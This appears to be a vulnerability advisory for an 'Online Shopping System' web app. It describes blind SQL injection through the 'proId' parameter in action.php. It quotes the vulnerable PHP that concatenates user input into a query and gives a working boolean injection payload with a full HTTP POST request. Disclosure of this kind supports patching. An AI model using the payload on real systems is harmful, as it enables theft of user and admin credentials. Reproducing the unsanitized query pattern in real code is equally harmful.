| विवरण | ## ONLINE SHOPPING SYSTEM action.php SQL Injection Vulnerability
### I. Vulnerability Impact
An attacker can exploit this vulnerability to extract sensitive data from the database via boolean-based blind SQL injection, including plaintext user passwords from the `user_info` table and admin credentials from the `admin_info` table.
### II. Source Code Analysis
The vulnerability resides in `action.php`, lines 222-225:
```php
if(isset($_POST["addToCart"])){
$p_id = $_POST["proId"];
if(isset($_SESSION["uid"])){
$user_id = $_SESSION["uid"];
$sql = "SELECT * FROM cart WHERE p_id = '$p_id' AND user_id = '$user_id'";
```
The `$p_id` variable is taken directly from `$_POST["proId"]` without any filtering and concatenated into the SQL statement. An attacker can inject malicious SQL fragments through the `proId` parameter to manipulate the query logic and extract database information.
### III. Payload
The core injection payload is:
```
72'and'g'='e
```
After injection, the actual executed SQL becomes:
```sql
SELECT * FROM cart WHERE p_id = '72'and'g'='e' AND user_id = '3'
```
HTTP request body:
```
POST /action.php HTTP/1.1
Host: onlineshop
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
addToCart=1&proId=72'and'g'='e
```
